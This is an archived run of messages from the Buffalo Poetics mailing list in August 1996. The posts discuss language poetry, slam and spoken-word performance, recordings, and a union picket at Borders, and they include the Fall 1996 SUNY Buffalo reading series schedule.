Jackson Mac Low
Susan Howe
Madeline Gins

and others.

Programs will appear steadily throughout the year as they are produced for broadcast.

↑ Index

3. Joseph Lease

Re: Language Poetry; Deconstruction; New Criticism

Thu 1 Aug 1996

On Wed, 31 Jul 1996, george hartley wrote:

> *Tristan:*
>
> *Would a deconstruction of language poetry -- non-representational language which strives to produce the primary world of experience to the dis-ease of such poetics as Louis Simpson's -- be essentially a New Critical attempt to render a text definitively (or unify textualities within a poem) what Marjorie Perloff has noted as its vitally indeterminate qualifying characteristics?*
>
> *What is "the primary world of experience"? To the best of my knowledge, Nick Piombino is the only poet related to language writing who explicitly uses the language of "experience" (although he has something very specific in mind). Barry Watten talks about "the world" lots in Total Syntax, but again in ways that would undo some uses of the concept. What experiences and what worlds do you have in mind?*
>
> *The potential connections between a certain deconstruction & New Criticism are in themselves intriguing--I'd want more time to construct something there, but I think I'd begin by questioning how deconstruction would unify textualities: the word "unify" might be the point at which we could distinguish between the two projects, both of which depend on intense scrutiny (close reading) of the text(s). Does the "its" of "its vitally indeterminate qualifying" refer to deconstruction or language poetry or new criticism?*
>
> *Maybe I've missed some earlier parts of this thread.*
>
> *George*

RE: Language Poetry and "world" and "experience"--

from Lucaks on, world means something that points simultaneously to epic and lyric--not mutually exclusive but epistemologically divergent genres/modes--Watten's worldliness has much to do with what Thoreau and Cage would have been like if they had been Marxists or Neomarxists instead of post-Kantians--

again--with experience--you have a divergent configuration within a Neomarxist (Althusser) sense of how experience is constructed by culture--and this does not obviate what Emerson indicated by experience and how that line points to (for example) Williams and Baraka and Wieners and Fanny Howe--

perhaps words like world and experience can be experienced by poets as passageways that lead simultaneously to different experiences of different language-worlds--

Joseph Lease

↑ Index

4. Bob Gale

Marc Smith to perform in Minneapolis

Thu 1 Aug 1996

The Cacophony Chorus is pleased to present a reading by Chicago poet Marc Smith, inventor of the Poetry Slam, in Minneapolis, Aug 14.

Smith, a guiding force behind the performance poetry movement in the U.S., will perform at the Bryant Lake Bowl. Energetic, explosive, and entertaining, Smith's freewheeling readings mix the power of poetry with the possibilities of performance into one seamless blend.

Smith will be reading and signing copies of CROWDPLEASER--his first ever book of poems--in which he recreates the effect of live presentation on the printed page with the help of vivid line drawings by Michael Acerra.

The Bryant Lake Bowl, located at 810 West Lake Street in South Minneapolis, features an intimate cabaret theater with full bar and restaurant service. Tickets are $6.00. Call [redacted] for reservations.

The Cacophony Chorus is an ongoing performance series highlighting the variety and vibrancy of spoken word talent in the Twin Cities of Minneapolis and St. Paul.

\\ The Spoken Word Network: Home of Shout! Newspaper, \\ \\ the Cacophony Chorus, and London Productions \\ \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\ \\ [redacted] http://www.bitstream.net/london \\

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5. David Baratier

Re: Spoken word

Thu 1 Aug 1996

I should have more information mid-next-week on the Taylor CD.
As far as other suggestions: most of them aren't on CD

Joy Harjo: Furious Light (tape) or The Woman who fell from the sky (book/tape comb.)
Kenneth Patchen: Live in Canada (w/ Charlie Mingus) Folkways (record)

But as important check out what the journals are doing: Exact Change Yearbook has a CD, Apostrophe is out on tape, WE has a CD out (I think its issue 14) and write to Blank Gun Silencer (now nerve bundle review) and Black Bear Review, they have a whole series of audio recordings. Most of the adresses are on the buffalo web site under Spencers list, the ones that aren't I can get for you. Be well

David Baratier

_____ Reply Separator _____
Subject: Author: UB Poetics discussion group <[redacted]> at INTERNET Date: 30/07/1996 10:05

> *Date: Mon, 29 Jul 1996 13:51:28 CST*
> *From: David Baratier <[redacted]>*
> *Subject: Re: Spoken Word recordings*
>
> *Steven Taylor has a CD which just came out*

Do you have a label or contact info on that?

Thanks,
Bob

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6. Bob Holman
Mastery
Thu 1 Aug 1996

Wasn't it Artaud who declared "No more masterpieces!" and then retreated to his cublicle to churn out "Jet of Blood," which is not only a masterpiece, but is the masterpiece to end all masterpieces?

↑ Index

7. maria damon
Re: Marc Smith to perform in Minneapolis
Thu 1 Aug 1996

bob gale: who is publishing marc smith's crowdpleaser?
md

↑ Index

8. Julie Marie Schmid

Re: Marc Smith to perform in Minneapolis

Thu 1 Aug 1996

Hey, Maria--

It's me again. Crowdpleaser is being published by Jeff Helgeson/Collage Press here in Chicago. Marc Smith has a Crowdpleaser web page, which I believe has all the pertinent info. But Snail Mail is Collage Press, P.O. Box 1904, Chicago, IL 60690-1904 and phone is [redacted]. Jeff's a great guy and the book is fab!

jms

On Thu, 1 Aug 1996, maria damon wrote:

> *bob gale: who is publishing marc smith's crowdpleaser?*
> *md*

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9. Charles Bernstein

Re: Spoken Word, LINEbreak, & the list

Thu 1 Aug 1996

I am just back from a month mostly off-line (I did check in a few times earlier in the month) and will soon read through the 1500 or so messages for what once a slow month on this list. Thanks again to Joel Kuszai who watched over the list in my absence and will continue to work with me on the list. Questions about the list should be directed to us at [redacted]. At least for the moment. The whole VMS cluster at UB (our VAX system) is being dismantled this year so all those "@ubvms" addresses will be changing to "@acsu.buffalo.edu". Our IBM system is also being dismantled and that means this list will be shifted over to a UNIX machine, as "transparently" as possible, and that our new list address will change either to [redacted] or [redacted]. The "L" might be good as point of clarification but then "poetics" alone remains appealing. More on this as we hear about it.

ON SPOKEN WORD, or as I would prefer to call it, poetry readings, as many on the list will know, in 1994 I edited a CD called LIVE AT THE EAR, with selections from 13 poets: Susan Howe, Ron Silliman, Leslie Scalapino, Ted Greenwald, Rosmarie Waldrop, Alan Davies, Barrett Watten, Erica Hunt, Bruce Andrews, Hannah Weiner, Steve McCaffery, Ann Lauterbach, and myself. Remarkably, copies are STILL AVAILALE for the original $15.95 if you ACT NOW.

Order from SPD or direct from the Elemenope Productions: 7 Market Square, Suite 281 Pittsburgh, PA 15222 or use Elemenope's "800" number: [redacted].

I posted some information, including technical details, on LINEbreak as my last post in late June. But to repeat: These are a series of about 30 half-hour interview shows that I did over last year, produced by Martin Spinelli; each include about 10 minutes of readings. All the shows will be put up at the EPC but we are also making cassettes available and we are also working on a book version of the shows. The shows are now available through the Public Radio Satellite Program and will be made available to independent stations as well: however, radio programmers are not exactly lookin' to add poetry to their schedules so the potential for this program to be heard over the radio is sadly diminished. For further information on LINEbreak, you can contact Martin at [redacted]. OUR URL is http://writing.upenn.edu/ecp/linebreak.

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10. Robert Drake

Re: Marc Smith to perform in Minneapolis

Thu 1 Aug 1996

> *Smith, a guiding force behind the performance poetry movement...*

bob, would you mind sharing your conception of what this "movement" includes, or leaves out? i've heard it most often in conjunction w/ the slam scene; & hardly ever applied to sound poetry, fr example... "spoken word", and just plain old poetry readings, seem to intersect but not completely overlap... "movement" seems like such a strongly loaded term to me (a marketing term, to my ear), i wonder how its meant. seems to be a number of us here w/ interests in this direction--any other opins?

lbd

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11. Schuchat

Re: Marc Smith to perform in Minneapolis

Thu 1 Aug 1996

Huh? Marc Smith invented the slam? I thought Al Simmons and Terry Jacobus invented the slam, with poetry readings in boxing rings, etc, in Chicago around about 1980? At least I was hearing about slams and them back then.

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12. Charles Bernstein
Fall Readings at UB
Thu 1 Aug 1996

Time to make those plane reservations!

Wednesdays at 4 Plus

FALL POETRY AND PROSE September 4 - November 20, 1996
AT THE STATE UNIVERSITY OF NEW YORK, BUFFALO (AMHERST CAMPUS)
All events FREE.

LINEbreak on WBFO
Mondays at 8pm starting Sept. 9
Host Charles Bernstein interviews poets and fiction writers in this one-hour arts magazine of the air produced by Martin Spinelli. Tune in on WBFO radio (88.7 FM).

Cris Cheek Catherine Walsh Poetry Reading and Performance Weds., Sept. 4, 4pm, University Gallery, Center for the Arts Catherine Walsh lives in Dublin, where she teaches English to refugees. Her poetry books include Idir Eatortha, Pitch, and Short Stories. Cris Cheek is an English performance artist and poet with a new spoken word CD in the works. His books include: a present, m u d, and 444. He is also a member of the performance music trio Slant.

Deanna Ferguson
Poetry Reading
Weds., Sept. 11, 4pm, Univ. Gal., CFA
Deanna Ferguson lives in Vancouver, where she is a publisher of Tsunami Editions and a co-editor of BOO Magazine. Her books include Rough Bush, The Relative Minor; Link Fantasy, with Stan Douglas; and Will Tear Us.

Pierre Joris
Poetry/Translation Reading
Weds., Sept. 25, 4pm, CFA Screening Rm
Talk
"Untranslatability/Translatability : Community/Uncommunity"
Thurs., Sept. 26, 12:30pm, 438 Clemens Hall
Pierre Joris is the author of Brecca: Selected Poems 1972-1986, the translator of Celan, Blanchot, Jabès, and Schwitters; and the co-editor of Poems for the Millennium: The University of California Book of Modern and Postmodern Poetry. He teaches at SUNY-Albany.

John Felstiner, Armand Schwerner Translation Colloquium Thurs., Oct. 3, 12:30, 420 Capen Hall Lecture by John Felstiner: "The Art of Loss: Translating Neruda and Celan" Poetry Reading and Talk by Armand Schwerner: "The Tablets / Dante" Introductions/responses: Jerome Rothenberg, Dennis Tedlock,

Ray Federman Armand Schwerner's most recent book collects his legendary serial poem The Tablets (Atlas Press). Presently, he is at work on translations of Dante. John Felstiner is the author of the critically acclaimed study, Paul Celan: Poet, Survivor, Jew (Yale) and of Translating Neruda: The Way to Macchu Picchu (Stanford). He teaches English and Jewish studies at Stanford. Felstiner will also be giving a talk and book signing at Talking Leaves Books at 6:30pm.

Lawrence Block
Prose Reading
Weds., Oct. 9, 4pm, Univ. Gal., CFA
Buffalo-native Lawrence Block is a contemporary master of mystery and suspense. Among his most recent, best-selling books are Coward's Kiss (Carroll & Graf), Spider, Spin Me A Web (Morrow/Quill), The Burglar Who Liked To Quote Kipling (Dutton), and You Could Call It Murder (Carroll & Graf).

Susan Schultz Lecture "Local Vocals: Hawai'i's Pidgin Literature, Performance, and Postcoloniality" Thurs., Oct. 10, 4pm, 438 Clemens Susan Schultz's poetry books include The Lost Country, Another Childhood and, forthcoming, Aleatory Allegories. She is a professor at the University of Hawai'i-Manoa and the editor of the literary magazine Tinfish and of the critical collection The Tribe of John: Ashbery and Contemporary Poetry. Schultz is a Poetics Program Fellow for the semester.

Robert Creeley at 70: A Celebration
Thurs., Oct. 10 to Sat., Oct. 12
Join John Ashbery, Gil Sorrentino, Amiri Baraka, Eileen Myles, Jim Dine, and Steve Kuhn & Carol Fredette, Mercury Rev at the Katherine Cornell Theater (UB North Campus) and Hallwalls.

Serge Gavronsky
Poetry/translation reading
Weds., Oct. 16, 4pm, Univ. Gal., CFA
Talk
"Transpoetics: Theory and Models"
Thurs., Oct. 17, 12:30pm, 438 Clemens Hall
Serge Gavronsky has translated Ponge, Zukofsky, Hocquard, Mansour, and Arakawa & Gins; he edited Modern French Poetry and the forthcoming Six Contemporary French Woman Poets; his most recent book is Towards a New Poetics: Contemporary Writing in France. He teaches at Barnard.

Al Cook
Lecture
"New Musics in Poetry: Senses of Sound"
Fri., Oct. 18, 4pm, 420 Capen Hall
Al Cook is the legendary founder of "poetics" at UB, where he taught from

1963-1978. Cook is the author of 20 books of criticism and 8 books of poetry, and the translator of Oedipus Rex and The Odyssey. He is Ford Foundation Professor (Emeritus) of Comparative Literature, Classics, and English at Brown.

Thom Gunn
"Committee for Poetry" Reading
Mon., Oct. 21, 4pm, location TBA
Poet and MacArthur fellow Thom Gunn's Collected Poems were published last year by Farrar, Straus & Giroux, which has also issued Moly, and My Sad Captains. His other books include two collections of essays and memoirs: The Occasions of Poetry and Shelf Life.

Leslie Scalapino
Poetry Reading
Weds., Oct. 23, 4pm, Univ. Gal., CFA
A Conversation with Leslie Scalapino
Thursday, Oct. 24, 12:30pm, 438 Clemens
Leslie Scalapino's remarkable series of books include The Front Matter, Dead Souls (Wesleyan), Defoe (Sun & Moon), a collection of essays Objects in the Terrifying Tense / Longing from Taking Place (Roof), and a new selected works Green & Black (Talisman). She edits O Books, teaches in Bard's MFA program, and lives in Berkeley.

Robert Olen Butler Prose Reading Wed., Oct. 23, Hallwalls (2495 Main Street, Buffalo), 8 pm Robert Olen Butler the author of the Pulizer-prize winning novel, A Good Scent from a Strange Mountain (Holt) will read from his new book, Tabloid Dreams. His reading is sponsored Butler Chair (Department of English), the World Languages Institute, the Program in Asian Studies, and Just Buffalo.

Leslie Heywood
Multimedia Performance
"Building Backlash Bodies: Visible Invisibilities"
Weds., Oct. 30, 4pm, Univ. Gal., CFA
Leslie Heywood's Dedication to Hunger: The Anorexic Aesthetic in Modern Culture is just out from UC Press. Her performance touches on the intersection between her experiences as a "disciplined body" in intercollegiate track and cross country and a "disciplined mind" in the academy. A champion weight-lifter, she teaches at SUNY-Binghamton.

Murray Edmond
Poetry Reading and Talk
Fri., Nov. 1, 11am, 438 Clemens Hall
Auckland poet Murray Edmond will read from new work and talk about new

developments in New Zealand poetry. Edmond's books include End Wall, Letters
and Paragraphs, From the Word Go, and The Switch. He has recently completed
a study of experimental theater in New Zealand in the 1960s and 70s.

John Kinsella
Barrett Watten
Poetry Reading
Weds., Nov. 6, 4pm, Univ. Gal., CFA
"From BASIC English to Under Erasure: Is There a Metalanguage?" — lecture by Barrett Watten: Thurs., Nov. 7, 12:30pm, 438 Clemens
Discussion with John Kinsella on new Australian poetry: Thurs., Nov. 7, 10:30am, 438 Clemens
Barrett Watten's Frame is new this Fall from Sun & Moon. Editor of This and co-editor of Poetics Journal, Watten's other books include Progress and Total Syntax. He teaches at Wayne State.
John Kinsella is the author of The Undertow: New and Selected Poems and Syzygy. One of Australia most innovative young poets, he edits Salt.

W. S. Merwin
Silverman Poetry Reading
Fri., Nov. 8, 8pm, 250 Baird Hall
Among award-winning poet W. S. Merwin's recent books are The Lost Upland (Knopf), Selected Poems (Atheneum), and his translation of Neruda's Twenty Love Poems and a Song of Despair.

Hank Lazer
Susan Schultz
Poetry Reading
Weds., Nov. 13, 4pm, Univ. Gal., CFA
Talk/Discussion with Hank Lazer
"Poetry, Criticism, and Institutional Negotiations"
Thurs., Nov. 15, 12:30pm, 438 Clemens
Opposing Poetries is Hank Lazer's new two-volume collection of essays from Northwestern. His poetry books include Doublespace, Inter(ir)ruptions, and, forthcoming, Displayspace. Professor of English at the University of Alabama, Lazer is also Assistant Dean for Humanities and Fine Arts.

Third Annual French Poetry Festival
Josée Lapeyrere, Yves Di Manno, Bernard Noël
Bilingual Poetry Reading
Weds., Nov. 20, 4pm, Univ. Gal., CFA
Josée Lapeyrere is a psychoanalyst, artist, and editor, as well as the

author of Belles joues les geraniums, a collection of poems. Yves Di Manno is the director of the collection "Poesie" at Flammarion; Partitions is his most recent poetry collection. Bernard Noël is the author of 35 works including novels (Le Syndrome de Gramsci), art criticism (Magritte), and poetry (La Chute des temps).

"Wednesdays at 4 PLUS" is a Poetics Program production sponsored, in part, by the Melodia E. Jones Chair in French, Department of Modern Languages and Literatures (Raymond Federman); the James H. McNulty Chair, Department of English (Dennis Tedlock); the Samuel P. Capen Chair of Poetry and the Humanities (Robert Creeley); and the David Gray Chair of Poetry and Letters, Department of English (Charles Bernstein), in cooperation with the University Gallery and the Poetry and Rare Books Collection. The Silverman Reading is sponsored by the Oscar Silverman Fund; the Committee for Poetry Reading is sponsored by the Abbott Fund. This series is made possible, in part, by Poets & Writers, Inc., through a major grant from the Lila Wallace-Reader's Digest Fund and a grant from the Literature Program of the New York State Council on the Arts. Coordinated by Charles Bernstein. For further information call [redacted] or contact us at [redacted].

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13. Gabrielle Welford
yet another database... (fwd)
Fri 2 Aug 1996

I asked Ted if I could forward this, and though he says he doesn't believe in poetry or dancing, he said yes. gab.

---------- Forwarded message ----------
Date: Thu, 1 Aug 1996 15:27:56 -1000
From: t byfield <[redacted]>
To: Multiple recipients of <[redacted]>
Subject: yet another database...

WASHINGTON <bla bla bla> -- Senators worried about TERRORISM called for TIGHTER SECURITY at airports <bla bla bla> having GOVERNMENT take over <bla bla bla> screening passengers and their baggage <bla bla bla> SEN. Ernest F. Hollings, D-S.C., said at <bla bla bla> the crash of TWA Flight 800 <bla bla bla> a bomb. <bla bla bla> "the threat of TERRORISM is INCREASING," TRANSPORT SECRETARY Federico Pena <bla bla bla> a NEW COMMISSION <bla bla bla> VICE PRESIDENT Al Gore is examining <bla bla bla> Implementing a COMPREHENSIVE SECURITY SYSTEM could cost <bla bla bla> Lautenberg said, suggesting a <bla bla bla> surcharge known as a "security assessment fee." <NICE NAME, HUH?...bla bla bla> funds could be

sought from the DEFENSE DEPARTMENT budget <bla bla bla> CHAIRMAN Larry Pressler, R-S.D., said he plans a CLOSED HEARING <bla bla bla> DETAILS THAT CANNOT BE DISCUSSED IN PUBLIC. <bla bla bla> SEN. Olympia Snowe, R-Maine, called for BETTER PASSENGER INFORMATION TO BE COLLECTED by airlines, to prevent a recurrence of delays in notifying next of kin following an accident <which has NOTHING to do with the ostensible TERRORISM THREAT, of course...bla bla bla> Pena said his agency is readying RULES TO REQUIRE the airlines to get <LOTS OF INFO FROM YOU, bla bla bla>

They're completely fucking nuts.

Ted

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14. maria damon

Re: spoken word/Marc Smith

Fri 2 Aug 1996

bob gale rites: (I should note here, I'm one of those heretical "spoken word" people, and I'm grooving on the cross pollination that is taking place with text-based works, whether it is poets, storytellers, or performance artists.)

yr not alone, in fact "crosspollination" is one word i use frequently in describing what i find exciting about poetry/cultural studies/STUFF. i'm not a slammer myself, but a fan of democratic poetries, and i frequently find myself at (affectionate) odds w/ (some of) these here my listmates.. md

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15. Bob Gale

Re: spoken word/Marc Smith

Fri 2 Aug 1996

> *Date: Thu, 1 Aug 1996 16:39:45 -0400*
> *From: Robert Drake <[redacted]>*
> *Subject: Re: Marc Smith to perform in Minneapolis*
>
> *Smith, a guiding force behind the performance poetry movement...*
>
> *bob, would you mind sharing your conception of what this "movement" includes, or leaves out? i've heard it most often in conjunction w/ the slam scene; & hardly ever applied to sound poetry, fr example... "spoken word", and just plain old poetry readings, seem to intersect but not completely overlap... "movement" seems like such a strongly loaded term to me (a marketing term, to my ear), i wonder how its meant. seems to be a number of us here w/ interests in this direction--any other opins?*

Yes, you are perhaps correct, "Movement" is a _very_ loaded word -- one person's movement is another person's obstacle. And yes, that post was pulled from a recent news release we sent out, so some marketing tone remained when it really wasn't necessary for this list. My apologies.

I used it because Marc has for over a decade been not only a poet and performer, but a producer and organizer. He's the one who came up with the poetry slam format at the Green Mill in Chicago many years ago -- yes, there were previous poetry boxing matches -- but from my understanding, the distillation that we now call a slam started with Marc.

For a more (in)complete history, check out:

http://www.tezcat.com/~malachit/slam/

I think all this became part of a movement when folks like Smith, Bob Holman (hi Bob), and Gary Glazner started the first National Slams in 1980. Since then it has become an international event with hundreds of participants and thousands of fans, as well as an uncounted number of local unaffiliated slams.

Clearly, the merits of the slam format can be debated (I'm of very mixed opinions myself, and I'm not really interested in going down that road). Neither would I _ever_ argue that the slam is the reason that poetry has regained some level recent cultural popularity.

No, the point being is there is now a whole nother access point to poetry, one available to people outside the academia, and that these folks are begining to network themselves across the country not merely through slam networks, but regional publications/zines, schools/institutions, and other avenues. (Take this list for example.) This is the "movement" I had in mind, and I hope to think of it as inclusive, rather than exclusive. Therefore, IMHO, we're all part of it to some degree or another.

(I should note here, I'm one of those heretical "spoken word" people, and I'm grooving on the cross pollination that is taking place with text-based works, whether it is poets, storytellers, or performance artists.)

If you're interested, I recently interviewed Boston Slam Master Michael Brown about many of these same points:

http://www.bitstream.net/london/may96/brown.html

Peace,
Bob

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16. Loss Glazier
Citing online sources
Sat 3 Aug 1996

An article in this issue of _Internet World_ gives an overview of citing online sources. Two sources it gives that seem the mosst interesting are:
"Beyond the MLA Handbook"
http://falcon.eku.edu/honors/beyond-mla
and
"Elements of E-Text Style"
http://wiretap.spies.com/ftp.items/Library/Classic/estyle.txt
Anyway, there's more in the article (September 1996): 72-74.

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17. Robert Drake
TapRoot Reviews #9/10 announce
Sat 3 Aug 1996

This is to announce the publication of _TapRoot Reviews_ #9/10 (double issue). Over 300 short reviews of micropress magazines & books, plus articles on Radio Art, Pantograph Press, the Visual Poetry Bienal in Mexico City, poetry videos & CDs, as well as books by Ray DiPalma, Peter Ganick, Susan Smith Nash, Alice Notley, and others. 40 pages, tabloid newsprint format, $5.00 from Burning Press, PO Box 585, Lakewood OH 44107.

Special mention is made, in this issue, of writers or publications that also have material available on the World Wide Web. These reviews are excerpted, along with direct links to about 30 of those WWW resources, at: <http://www.ims.csuohio.edu/TReeWeb/TReeWeb.html>.

Special offer to Poetics list members: new subscribers can receive this double-issue, normally $5.00, for $2.50 with their new subscription--a total of $10 for numbers 9 thru 13. *Orders must be received by Friday August 9th* (the day our bulk mailing goes out) to take advantage of this offer. Respond via email direct to: <[redacted]> (DO NOT RESPOND TO THE POETICS LIST).

asever
luigi-bob drake, editor
TRR/Burning Press/etc...

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18. Ron Silliman
Fwd: Borders boycott
Sun 4 Aug 1996

Dear folks:

The picketting in front of Center City Borders continues. Please join us on Saturday, August 10 beginning at 12 noon to show solidarity for fired union activist Miriam Fried. The picketting is taking place every Saturday but we'd like to have a strong NWU showing there on the 10th. Border is located on Walnut St., between 17th and 18th Streets.

For those of you unfamiliar with the saga, here's a brief update. The Center City branch of Borders recently fired one of their employees, ostensibly for bureaucratic reasons. But the truth is, she spearheaded a union drive at the store. After Borders brought in a big union-busting firm, the union drive failed this last March.

The United Food and Commercial Workers have taken up the case, filing an unfair labor practices suit on behalf of Miriam. They are also starting to sign up employees for another union drive (another election can't take place until March 1997).

A number of unions in the city, including AFSCME, UFCW and IWW, are supporting Miriam and the Borders boycott.

So please come out on the 10th, join the picket line, and show writerly solidarity for a fired bookseller.

John

John Feffer
Philadelphia sublocal of the National Writers Union
519 S. Melville St.
Philadelphia, PA 19143
[redacted]
e-mail: [redacted]
url: http://www.libertynet.org/~nwuphil

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19. Thomas Bell
cancer poetry again
Sun 4 Aug 1996

I lost the name of the person who first brought this up and was asked by a nurse about publishing the poetry of the girl who died of cancer, but I heard from someone with an interest in publishing it: From [redacted] Wed Jul 31

21:00:37 1996 Date: Wed, 31 Jul 1996 11:01:12 +0200 From: "Vision.quest cc" <[redacted]> To: [redacted] Subject: Cancer poetry Dear Thomas Bell, I picked up your query about "cancer poetry" while browsing the Medicine in Literature messages pages on the internet. I am the new editor of the South African Family Practice Journal, and our October edition will be focusing on cancer. If the person is interested in my having a look at the poetry to see if it will "fit" with the other articles, they should feel free to forward it to me via e-mail. Unfortunately, we would not be able to pay anything (and even if we could, the South African currency is so weak at the moment, it would amount to very little in dollar terms). Also to be taken into account is that the journal has a rather limited circulation at present, even though it is 15 years old. We're working on changing that. I look forward to hearing from you, Roy Jobson (M.D.) Roy and Marje Jobson [redacted] 45 22nd Street, MENLO PARK, Pretoria, South Africa, 0081 Tel/Fax: [redacted]

tom

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20. Dan Raphael Dlugonski

Re: spoken word

Sun 4 Aug 1996

>When is a movmeent just a recognition, a naming what has existed for decades. Or you want to convince the public this product is new by focussing on a part of the product that has existed as a minority element. think of the reading that luanched the beats, with kerouac as dorman and designated interruptor.
performance poetry/slams/spoken word have increased awareness of poetry's conneciton with body, vernacular, and current media. some poets have always worked this connection--like blake mallarme whitman.
what would be fantastic would be a wave to maintain the neregy level of 'performance/spoken' with syntax-deep, connotation-rich work (which might not fit the slam's 3 minute limit or appeal to an audience if it was short enough) that is, i believe, at the core of poetry: unleashing the power of language as it can tap collective and specualtive consciousness' in a wide variety of peoples.

> *Topics of the day:*
>
> *1. yet another database... (fwd)*
> *2. spoken word/Marc Smith (2)*
>
> ---

Date: Thu, 1 Aug 1996 22:30:36 -1000
From: Gabrielle Welford <[redacted]>
Subject: yet another database... (fwd)

I asked Ted if I could forward this, and though he says he doesn't believe in poetry or dancing, he said yes. gab.

---------- Forwarded message ----------
Date: Thu, 1 Aug 1996 15:27:56 -1000
From: t byfield <[redacted]>
To: Multiple recipients of <[redacted]>
Subject: yet another database...

WASHINGTON <bla bla bla> -- Senators worried about TERRORISM called for TIGHTER SECURITY at airports <bla bla bla> having GOVERNMENT take over <bla bla bla> screening passengers and their baggage <bla bla bla> SEN. Ernest F. Hollings, D-S.C., said at <bla bla bla> the crash of TWA Flight 800 <bla bla bla> a bomb. <bla bla bla> "the threat of TERRORISM is INCREASING," TRANSPORT SECRETARY Federico Pena <bla bla bla> a NEW COMMISSION <bla bla bla> VICE PRESIDENT Al Gore is examining <bla bla bla> Implementing a COMPREHENSIVE SECURITY SYSTEM could cost <bla bla bla> Lautenberg said, suggesting a <bla bla bla> surcharge known as a "security assessment fee." <NICE NAME, HUH?...bla bla bla> funds could be sought from the DEFENSE DEPARTMENT budget <bla bla bla> CHAIRMAN Larry Pressler, R-S.D., said he plans a CLOSED HEARING <bla bla bla> DETAILS THAT CANNOT BE DISCUSSED IN PUBLIC. <bla bla bla> SEN. Olympia Snowe, R-Maine, called for BETTER PASSENGER INFORMATION TO BE COLLECTED by airlines, to prevent a recurrence of delays in notifying next of kin following an accident <which has NOTHING to do with the ostensible TERRORISM THREAT, of course...bla bla bla> Pena said his agency is readying RULES TO REQUIRE the airlines to get <LOTS OF INFO FROM YOU, bla bla bla>

They're completely fucking nuts.

Ted

Date: Fri, 2 Aug 1996 17:03:08 -0600
From: Bob Gale <[redacted]>
Subject: Re: spoken word/Marc Smith

Date: Thu, 1 Aug 1996 16:39:45 -0400
From: Robert Drake <[redacted]>
Subject: Re: Marc Smith to perform in Minneapolis

Smith, a guiding force behind the performance poetry movement...

bob, would you mind sharing your conception of what this "movement" includes, or leaves out? i've heard it most often in conjunction w/ the slam scene; & hardly ever applied to sound poetry, fr example... "spoken word", and just plain old poetry readings, seem to intersect but not completely overlap... "movement" seems like such a strongly loaded term to me (a marketing term, to my ear), i wonder how its meant. seems to be a number of us here w/ interests in this direction--any other opins?

Yes, you are perhaps correct, "Movement" is a _very_ loaded word -- one person's movement is another person's obstacle. And yes, that post was pulled from a recent news release we sent out, so some marketing tone remained when it really wasn't necessary for this list. My apologies.

I used it because Marc has for over a decade been not only a poet and performer, but a producer and organizer. He's the one who came up with the poetry slam format at the Green Mill in Chicago many years ago -- yes, there were previous poetry boxing matches -- but from my understanding, the distillation that we now call a slam started with Marc.

For a more (in)complete history, check out:

http://www.tezcat.com/~malachit/slam/

I think all this became part of a movement when folks like Smith, Bob Holman (hi Bob), and Gary Glazner started the first National Slams in 1980. Since then it has become an international event with hundreds of participants and thousands of fans, as well as an uncounted number of local unaffiliated slams.

Clearly, the merits of the slam format can be debated (I'm of very mixed opinions myself, and I'm not really interested in going down that road). Neither would I _ever_ argue that the slam is the reason that poetry has regained some level recent cultural popularity.

No, the point being is there is now a whole nother access point to poetry, one available to people outside the academia, and that these folks are begining to network themselves across the country not merely through slam networks, but regional publications/zines, schools/institutions, and other avenues. (Take this list for example.) This is the "movement" I had in mind, and I hope to think of it as inclusive, rather than exclusive. Therefore, IMHO, we're all part of it to some degree or another.

(I should note here, I'm one of those heretical "spoken word" people, and I'm grooving on the cross pollination that is taking place with text-based works, whether it is poets, storytellers, or performance artists.)

If you're interested, I recently interviewed Boston Slam Master Michael Brown about many of these same points:

http://www.bitstream.net/london/may96/brown.html

Peace,
Bob

*\\ The Spoken Word Network: Home of Shout! Newspaper, *
*\\ the Cacophony Chorus, and London Productions *
*\\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA *
*\\ [redacted] http://www.bitstream.net/london *

Date: Fri, 2 Aug 1996 17:58:37 -0500
From: maria damon <[redacted]>
Subject: Re: spoken word/Marc Smith

bob gale rites:
(I should note here, I'm one of those heretical "spoken word" people, and I'm grooving on the cross pollination that is taking place with text-based works, whether it is poets, storytellers, or performance artists.)

yr not alone, in fact "crosspollination" is one word i use frequently in describing what i find exciting about poetry/cultural studies/STUFF. i'm not a slammer myself, but a fan of democratic poetries, and i frequently find myself at (affectionate) odds w/ (some of) these here my listmates..
md

End of POETICS Digest - 1 Aug 1996 to 2 Aug 1996
****

↑ Index

21. Joseph Zitt
Re: spoken word
Sun 4 Aug 1996

On 4 Aug 96 at 15:43, Dan Raphael Dlugonski wrote:

> *what would be fantastic would be a wave to maintain the neregy level of 'performance/spoken' with syntax-deep, connotation-rich work (which might not fit the slam's 3 minute limit or appeal to an audience if it was short enough) that is, i believe, at the core of poetry: unleashing the power of language as it can tap collective and specualtive consciousness' in a wide variety of peoples.*

One useful thing that's happening in the slams here in Dallas is that we have featured poets, performing before the event and between the rounds. While these are often visiting Slam poets and the like, they frequently feature poets who work in different formats. It's a good spot for people whose work tends to go on beyond the 3 minute limit or does not have the competitive inyourfaceitude. My sound-poetry ensemble, "Question Authority, the", are going to be featured a few weeks from now. While we're definitely not Slam poetry (though some of our members have slammed), we think what we do will get a good reception (once people get beyond their initial confusion :-]).
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

↑ Index

22. maria damon
Re: cancer poetry again
Sun 4 Aug 1996

tom bell writes:
> I lost the name of the person who first brought this up and was asked by
> a nurse about publishing the poetry of the girl who died of cancer, but I
> heard from someone with an interest in publishing it: From
> [redacted] Wed Jul 31 21:00:37 1996 Date: Wed, 31 Jul
> 1996 11:01:12 +0200 From: "Vision.quest cc" <[redacted]>
> To: [redacted] Subject: Cancer poetry Dear Thomas Bell, I picked up
> your query about "cancer poetry" while browsing the Medicine in Literature
> messages pages on the internet. I am the new editor of the South African
> Family Practice Journal, and our October edition will be focusing on
> cancer. If the person is interested in my having a look at the poetry to
> see if it will "fit" with the other articles, they should feel free to
> forward it to me via e-mail. Unfortunately, we would not be able to pay

> anything (and even if we could, the South African currency is so weak at
> the moment, it would amount to very little in dollar terms). Also to be
> taken into account is that the journal has a rather limited circulation at
> present, even though it is 15 years old. We're working on changing that.
> I look forward to hearing from you, Roy Jobson (M.D.) Roy and Marje Jobson
> [redacted] 45 22nd Street, MENLO PARK, Pretoria, South
> Africa, 0081 Tel/Fax: [redacted]
>
> tom

